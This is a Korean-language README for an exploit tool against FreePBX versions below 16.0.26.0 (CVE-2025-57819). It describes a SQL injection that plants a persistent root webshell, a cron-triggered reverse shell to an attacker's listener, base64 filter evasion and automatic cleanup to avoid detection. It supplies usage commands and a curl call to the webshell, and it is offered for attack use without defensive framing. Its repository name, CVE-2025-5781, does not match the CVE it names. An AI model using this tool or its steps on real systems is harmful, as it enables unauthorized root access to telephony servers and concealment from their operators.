FreePBX CVE-2025-57819 익스플로잇

설명

이 스크립트는 FreePBX 16.0.26.0 이전 버전의 취약점(CVE-2025-57819)을 악용하여, 원격 공격자가 AJAX API 엔드포인트의 SQL 인젝션 결함을 통해 임의의 PHP 코드를 실행할 수 있게 합니다. 이 익스플로잇은 웹셸과 자동 트리거 리버스 셸을 모두 생성합니다.

취약점 세부 정보

CVE: CVE-2025-57819
영향을 받는 버전: FreePBX < 16.0.26.0
영향: 원격 코드 실행 (RCE)
공격 경로: AJAX API의 SQL 인젝션 (/admin/ajax.php)

기능

/pbxshell.php에 지속성 웹셸 생성
cron 작업을 통한 자동 트리거 리버스 셸 설정
Base64로 인코딩된 페이로드를 사용하여 필터 우회
실행 후 cron 작업 자동 정리

요구 사항

Python 3.x
requests 라이브러리
Netcat (리버스 셸 리스너용)

설치

git clone https://github.com/jasonbernier/CVE-2025-5781.git
cd CVE-2025-5781
pip install requests

사용 방법

python3 exploit.py -H TARGET_HOST -lhost LHOST -lport LPORT

매개변수:

-H HOST: 대상 FreePBX 인스턴스 (예: https://freepbx.example.com)
-lhost LHOST: 리버스 셸 콜백을 위한 사용자의 IP
-lport LPORT: 리버스 셸 연결 포트

예시:

python3 exploit.py -H https://target.freepbx.com -lhost 10.0.0.1 -lport 4444

익스플로잇 흐름

웹셸 생성을 위한 SQL 인젝션 페이로드 전송
웹셸이 생성될 때까지 대기 (약 2분)
cron 작업을 통한 자동 트리거 리버스 셸 생성
지정된 포트에서 netcat 리스너 시작

웹셸 사용

성공적으로 익스플로잇한 후 다음을 통해 웹셸에 접근합니다:

curl -X GET "http://TARGET/pbxshell.php?cmd=id"

정리

익스플로잇은 탐지를 피하기 위해 실행 후 cron 작업을 자동으로 제거합니다.

참고 사항

스크립트는 --를 사용하여 나머지 SQL 구문을 주석 처리합니다
모든 명령은 루트 권한으로 실행됩니다
/var/www/html/ 디렉토리에 대한 쓰기 권한이 필요합니다

CVE-2025-5781

인기